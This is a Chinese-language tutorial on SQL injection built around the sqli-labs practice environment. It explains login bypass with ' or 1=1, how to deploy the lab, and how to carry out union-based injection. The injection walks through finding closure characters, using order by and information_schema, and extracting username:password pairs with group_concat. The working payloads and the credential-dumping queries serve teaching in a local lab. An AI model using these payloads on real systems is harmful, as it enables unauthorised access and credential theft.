目录

一、sql 注入概述

1、SQL 注入原理

2、SQL 注入的分类

二、部署 sqli-labs 学习环境

1、SQLI-LABS 简介

2、部署 SQLI-LABS 实验环境

三、SQLI-LABS 教学

1、Less-1

2、闭合方式概述

3、使用 order by 判断表中字段数

4、常见手动 sql 注入的闭合方式

四、SQL 注入-联合查询

1、爆出字段的显示位置

2、获取数据库名称

3、列出当前数据库中所有表的名称

4、获取 users 表中的字段名

5、获取用户名密码字段中的值

一、sql 注入概述

1、SQL 注入原理

用户登录的基本 SQL 语句:
select * from users where username = '用户输入的用户名'and password = '用户输入的密码'
用户输入的内容是可控的,例如我们可以在用户名中输入' or 1=1 --空格
select * from users where username = ' ' or 1=1 --空格 'and password = '用户输入的密码'         
此时我们输入的第一个单引号将 username 的单引号闭合,相当于输入了一个空用户,or 表示左右 两边只要有一边条件判断成立则该语句返回结果为真,其中 1=1 永远为真,所以当前 SQL 语句无论怎么 执行结果永远为真,--空格表示注释,注释后面所有代码不再执行。
我们可以看到上面我们闭合的方法是没有输入用户名的,所以并不能成功登陆
select * from users where username = ' admin' or 1=1 --空格 'and password ='用户输入的
密码'        
        
我们在单引号前面加上用户名表示我们要登陆的用户。这样就成功绕过了用户密码认证。
单引号的作用:
在提交数据或者 URL 中添加单引号进行提交如果返回 SQL 错误即可判断当前位置存在 SQL 注入漏洞。原因是没有被过滤。        

2、SQL 注入的分类

SQL 注入的分类基本上都是根据在注入的方式进行分类,大概分为以下 4 类
1、布尔注入:可以根据返回页面判断条件真假的注入;
2、联合注入:可以使用 union 的注入;
3、延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
4、报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
以上是根据常见的注入方式进行分类,但是通常来说 SQL 注入只分为字符型或者数字型比如:
数字型 1 or 1=1
字符型 1' or '1'='1                
        

二、部署 sqli-labs 学习环境

1、SQLI-LABS 简介

SQLI-LABS 是一个学习 SQL 注入的实验平台
下载地址:https://github.com/Audi-1/sqli-labs        
        

2、部署 SQLI-LABS 实验环境

关闭防火墙并设置开机不启动         
[root@localhost ~]# systemctl stop firewalld.service
[root@localhost ~]# systemctl disable firewalld.service

关闭 selinux        
        
[root@localhost ~]# vim /etc/selinux/config # 打开配置文件
将 SELINUX=enforcing 这一项设置为 SELINUX= disabled 保存退出        
[root@localhost ~]# reboot #重启系统,才能彻底关闭selinux
[root@localhost ~]# iptables -F #清空防火规则
(1)接下来使用 rpm 包,快速搭建 LAMP 环境:                 
[root@localhost ~]# yum install -y httpd php php-mysql php-gd mariadb-server
mariadb

注:php-gd 库:gd 库是 php 处理图形的扩展库,gd 库提供了一系列用来处理图片的 API,使用
GD 库可以处理图片,或者生成图片。 在网站上 GD 库通常用来生成缩略图或者用来对图片加水印或者 对网站数据生成报表及验证码。        
(2)安装完之后,检查安装的状态和启动服务                
        
[root@localhost ~]# systemctl start httpd
[root@localhost ~]# systemctl start mariadb

开机启动:   
        

[root@localhost ~]# systemctl enable httpd
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
[root@localhost ~]# systemctl enable mariadb
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
(3)测试 LAMP 环境:        
        
[root@localhost ~]# vim /var/www/html/test.php
<?php
phpinfo();
?>
(4)配置 mysql 数据库 root 用户密码:        
        
[root@localhost ~]# mysqladmin -u root password "123.com"
[root@localhost ~]# mysql -proot -u

(5)安装 sqli-labs 教学环境
使用 rz 命令上传 sqli-labs 到 centos 系统上        
[root@localhost ~]# rz
上传完成后关闭该窗口        
[root@localhost ~]# unzip sqli-labs-master.zip -d /var/www/html
[root@localhost ~]# mv /var/www/html/sqli-labs-master/ /var/www/html/sqli-labs
apache 默认运行用户为 apache 所以我们需要修改文件权限
[root@localhost ~]# chown -R apache:apache /var/www/html/
[root@localhost ~]# vim /var/www/html/sqli-labs/sql-connections/db-creds.inc
改:
5 $dbpass ='';
为:
5 $dbpass ='123456';
:wq 保存退出

三、SQLI-LABS 教学

每个例子都有对应的 Less-ID,我们直接以 Less-ID 表示对应的页面即可。

1、Less-1

提示我们输入一个 ID 参数,我们修改 url 来传递 ID 参数

http://192.168.1.102/sqli-labs/Less-1/?id=1
参数说明:
?表示传递参数,通常都是在页面后会有 ?id=数值,这样的方式传递参数给服务器,然后给我们返 回参数对应的页面信息,我们发现我们是在/后面直接使用?传递参数,此时参数会传递给默认页面。

实际上在 URL 中传递参数时 ,相当于执行了以下 sql 语句:
MariaDB [security]> select * from users where id='1';
我们尝试添加一个单引号看一下错误信息
http://192.168.1.102/sqli-labs/Less-1/?id=1%27        

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
我们分析一下报错的 SQL 语句位置
''1'' LIMIT 0,1'
把外面的单引号去掉,那是用来说明报错的 SQL 语句位置的。
'1' ' LIMIT 0,1
我们看到我们输入的 id=1 此时 id 参数已经成功闭合,但是多了一个单引号导致后面的语句执行失
败,由此我们可以确认当前位置存在 SQL 注入 。原因是我们输入的单引号没有被过滤,成功带入数据库中执行。        
                
扩展:LIMIT 用法
LIMIT 是 MySQL 内置函数,其作用是用于限制查询结果的条数。
其语法格式: LIMIT [位置偏移量,] 行数
其中,中括号里面的参数是可选参数,位置偏移量是指 MySQL 查询分析器要从哪一行开始显示,索 引值从 0 开始,即第一条记录位置偏移量是 0,第二条记录的位置偏移量是 1,依此类推...,第二个参数为 “行数”即指示返回的记录条数。
一句话概括: 位置偏移量可以理解为跳过前 N 条记录,或从第 N 条记录开始,往后显示 N 条记
录。

2、闭合方式概述

闭合方式是指开发人员在 sql 语句中的加在参数变量两边的符号。

这个 sql 语句中的$id 采用的闭合方式就是单引号。    

           

3、使用 order by 判断表中字段数

ORDER BY 关键词用于对记录集中的数据进行排序。        
        
用法 1:按某个字段进行排序:
语法:select 字段 1,字段 2 from 表名 order by 字段名;
例:order by 用于 MySQL 查询排序(升序)
MariaDB [security]> select * from users order by id;        
用法 2:按第几个字段进行排序,如果超过查询的字段数,就报错
语法:select 字段 1,字段 2 from 表名 order by 数字;        
        
例 1:按第 2 个字段 username 进行排序
MariaDB [security]> select * from users order by 2;        
        
例 2:使用 order by 统计查询的字段数量:
MariaDB [security]> select * from users order by 10;
ERROR 1054 (42S22): Unknown column '10' in 'order clause'
报错:找不到 10 字段,因为 select *,其中的 * 代表表中的所有字段,也就是说明表中字段数量不 够 10 个
在 hackbar 命令框中,输入:http://192.168.1.63/sqli-labs/Less-1/ ?id=1'order by 4--+
注: ?id=1 正常传递参数
'单引号闭合 id 字段
order by 4 判断是否存在 4 个字段
--+注释掉后面的 SQL 语句         

4、常见手动 sql 注入的闭合方式

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+        
具体使用哪种方式取决于 SQL 语句使用了什么方式。我们可以在注入点输入反斜杠\来判断页面使用 的哪种闭合方式。
http://192.168.1.102/sqli-labs/Less-1/?id=1\        
\表示转义,直接输入\会将字段的闭合方式暴露出来,因为被转义不生效,导致 SQL 语句报错。并 爆出闭合方式。
弹出: '1\' LIMIT 0,1 这个错。发现\转义后有一个单引号,说明此 sql 语句基于单引号闭合。
       

四、SQL 注入-联合查询 

1、爆出字段的显示位置

使用联合查询爆出字段前,我们需要了解 union 的使用方法。 union [ ˈ ju ː ni ə n] 联盟
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同
时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法:
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
例 1:将 users 表中 id=1 和 users 表中 id=3 的两个记录合并到一个表中。
MariaDB [security]> select * from users where id=1 union select * from users where
id=3;
例 2:在 MySQL 中使用 union 爆出字段
先使用单条语句查询:
MariaDB [security]> select * from users where id=1;
使用两条语句结合查询
MariaDB [security]> select * from users where id=1 union select 1,2,3;        
        
由此可以看到两条语句结合输出的结果,而 union select 1,2,3 表示,在上一条语句的查询结果
中,再输出 1 2 3 到对应的字段中,因此可以利用来做爆出字段的显示位置
在浏览器中输入:        
http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,2,3 --+        
        
这里修改了 1 个重要参数,id=-1 这个值在数据库中是不存在的,原因是程序只返回一个结果,所以我们需要使 union 前面的语句出错才可以让我们后面查询的结果返回。
注:联合查询必须字段数一致。如果表存在 3 个字段联合查询的字段也必须是 3 个,否则报错。从 而可以判断表中的字段数。

2、获取数据库名称

获取数据库名称会使用到 database(),而 database()是数据库内嵌的函数,主要是用于查询当前的数据库名称

我们获得了对应字段的显示位置,就可以在对应的位置查询我们想要获取到的数据库信息。
        
http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,database(),3 --+        
        
注意:按以上语句中分析,1,database(),3
database()替换了字段 2,作用是查询当前数据库名称。
而其中的 1 和 3 是补给第 1 和第 3 个字段的显示结果
数据库名称是 security
拓展:常用函数
version()                                                  #MySQL 版本
user()                                                       #数据库用户名
database()                                               #数据库名
@@datadir                                              #数据库路径
@@version_compile_os                         #操作系统版本
到这里我们已经可以执行数据库中的函数了,所以我们可以查询更多的数据。

3、列出当前数据库中所有表的名称

先来了解 information_schema,这是 MySQL 自带的一个元数据库,用于存储 MySQL 的数据结
构。
元数据则是用于描述数据本身的数据,称为元数据,包含了,MySQL 当中有多少个数据库,这些数 据库的名称是什么,每个数据库里有多少个表,具体的表名叫什么。
而 information_schema 这个库里又存放了很多个表 ,这些表里的不同字段表示 MySQL 中的相关 信息。而我们也可以通过 information_schema 和以上我们学习到的注入使用方式去查询更多的信息。
例:查看 information_schema 库中 tables 表中 table_schema 等于 security 的相关信息
MariaDB [security]> select table_schema,table_name from information_schema.tables
where table_schema='security';
注:information_schema 库中的 tables 表的字段解释:
table_schema                 #该字段存储数据库名 ;
table_name                     #该字段存储对应数据库中的包括的表名
总结:从上图查询结果中可以看出, security 库中有 4 张表,表的名字是:emails,referers,
uagents,users 。
        
实战:使用 group_concat()函数进行 sql 注入
group_concat()函数功能: 将 where 条件匹配到的多条记录连接成一个字符串。
语法:group_concat (str1, str2,...)
返回结果为 连接参数产生的字符串 ,如果有任何一个参数为 null,则返回值为 null。
        
例 1:使用 group_concat( table_name ) 将 table_schema = 'security'匹配到的 table_name 字
段值,连接成一个字符串。
可以匹配到的数据如下:                
        
执行 sql 语句:
MariaDB [security]> select group_concat(table_name) from information_schema.tables where table_schema="security";
group_concat( table_name ) #表示将分组中的值(table_name 字段)链接成一个字符串,然后
将该字符串返回
下面使用 sql 注入方式进行注入:
http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,table_schema,group_concat(table_name)
from information_schema.tables where table_schema='security' --+

 

4、获取 users 表中的字段名

首先了解一下 information_schema 元数据库下的 columns 表,columns 表用于存储 MySQL 中 的所有表的字段类型。
例 1:使用 group_concat()将 users 表中的字段合并成一个字符串
执行 sql 语句:TABLE_SCHEMA        
        
MariaDB [security]> select group_concat(column_name) from information_schema.columns
where table_schema=database() and table_name='users';

例 2:通过 group_concat(column_name)进行 sql 注入,查看 users 表中字段
通过 sql 注入查询

http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,table_schema,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

5、获取用户名密码字段中的值

例1:使用 group_concat(username,0x3a,password) 将用户名和密码连接成字符串, 并使用:
冒号将用户名和密码分隔开
扩展:0x 是十六进制的标志,3a 即十六进制的 3a。 0x3a 在 ASCII 码表代表: 冒号
http://192.168.1.101/sqli-labs/Less-1/?id=-1'union select 1,2,group_concat(username,0x3a,password) from users --+

 

 例2:实战-在 sql 注入时加入换行符

我们可以在每一个用户名:密码后面添加一个换行符。
HTML 中换行符用<hr />来表示,但是我们需要转换成十六进制 0x3C,0x68,0x72,0x2F,0x3E
ASCII 码表: https://baike.baidu.com/item/ASCII/309296?fr=aladdin
将十六进制的换行符添加到 password 字段后,注:password 后面必须添加一个逗号
我们可以看到每一行都是一个用户名:密码
不过从第二行开始用户名前面多了一个逗号,这是 group_concat 函数在取值的过程中使用逗号进 行分割。所以这个逗号不能去掉。后期将数据导出到 txt 文档后,可以使用 vim 命令,把逗号去掉。

漏洞篇(SQL注入一)相关推荐

  1. 米斯特白帽培训讲义 漏洞篇 SQL 注入

    米斯特白帽培训讲义 漏洞篇 SQL 注入 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理与危害 SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户 ...

  2. Web TOP10漏洞之sql注入

    sql注入漏洞 目录 sql注入漏洞 信息搜集: 方法 1.判断是否存在注入点 2.数字or字符or搜索 3.提交方式 4.判断注入姿势 5.玩法^_^ 补充知识: 绕过过滤 其他数据库 信息搜集: ...

  3. 漏洞解决方案-SQL注入攻击

    漏洞解决方案-SQL注入攻击 前置知识 修复方案 代码参考 前置知识 SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. ...

  4. WEB漏洞攻防- SQL注入原理、判定方式、过滤及修复

    文章目录 SQL注入漏洞原理 结合简单的代码案例分析SQL注入漏洞是如何产生的 判断是否存在注入 最原始的判断是否存在注入的方式 传入的字符对页面内容存在影响极有可能存在注入 如何过滤.修复SQL注入 ...

  5. 小迪安全第14天 web漏洞,SQL注入之类型及提交注入

    14 web漏洞,SQL注入之类型及提交注入 ​ 在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也 ...

  6. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  7. 渗透学习笔记--基础篇--sql注入(数字型)

    环境:dvwa 1.7数据库:mysql dvwa的安全等级:medium 一.分析和查找注入点 (1)知识点回顾 如果上一篇有好好读过的同学应该知道,我们上一篇遇到的字符型注入.也即是通过Get或者 ...

  8. mysql sql注入工具_基础篇——SQL注入(工具注入)

    注入工具 上一篇介绍了SQL注入漏洞以及一些手工注入方法,本篇介绍一下注入工具 1.sqlmap sqlmap属于比较经典的一个注入工具,功能强大,还自带一些绕过参数 使用方法: sqlmap.py ...

  9. Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)

    文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...

  10. 网络安全菜鸟学习之漏洞篇——sql(一)

    前言:漏洞篇包含了一些常见的漏洞与某些常见的利用方法. 首先我们先了解一下Web应用技术是如何进行交互的.如图所示(图片来自<SQL注入攻击与防御>一书),这是常见的两种Web应用技术进行 ...

最新文章

  1. 对Python课的看法
  2. 手把手教你怎么在linux安装c++编译器
  3. 台式计算机无线设置,台式电脑怎么设置无线网络?
  4. 2.QML组件、图像几何变换和元素定位器
  5. redis Could not connect to Redis at 127.0.0.1:6379: Connection refused 问题解决
  6. linux c++开发问题汇总
  7. mac搭建ios自动化环境之WebDriverAgent配置
  8. func_num_args()
  9. Cortex-M3基本知识点(手册)
  10. pgpool-II中间件
  11. ai快捷键常用表_遇到这些办公软件快捷键赶集收藏-mark 视频剪辑|办公软件...
  12. python双等号怎么输入_python中的星号‘*’和双星号‘**’的解说
  13. 生信宝典之傻瓜式 (五) - 文献挖掘查找指定基因调控网络
  14. c语言判断回文字符串递归,用递归实现判断一个字符串是否为回文串
  15. oracle io错误的是什么意思,大家帮帮忙,如何解决下面的IO错误问题,急!!!...
  16. 表单设计器 k-form-design
  17. 【新冠肺炎】SIR模型预测与数据分析之代码篇
  18. springboot毕业设计 基于springboot房产中介预约看房系统毕业设计设计与实现参考
  19. 计算机控制技术毕业论文题目,计算机控制方面论文选题 计算机控制论文题目怎样定...
  20. qt 合并单元格 tablewidget 合并单元格

热门文章

  1. 一个浪漫又悲情的爱情故事——笛卡尔心形线
  2. 电脑自动打开代理服务器无法上网解决方案
  3. 如何判断一个数是不是整数
  4. linux下录音识别成文字软件,如何将录音转换成文字?录音转文字简单方法介绍...
  5. (病毒安全)服务器被中了木马,如何清除
  6. Deeplink(深度链接)拉起App,我是这样做到的
  7. 如何教你获取1688店铺所有商品,商品详情数据分析
  8. 服务器有固态盘系统安装,服务器有装固态硬盘吗
  9. Arduino时钟显示
  10. 【Metal2剖析(三):OIT顺序无关透明渲染[Imageblock]】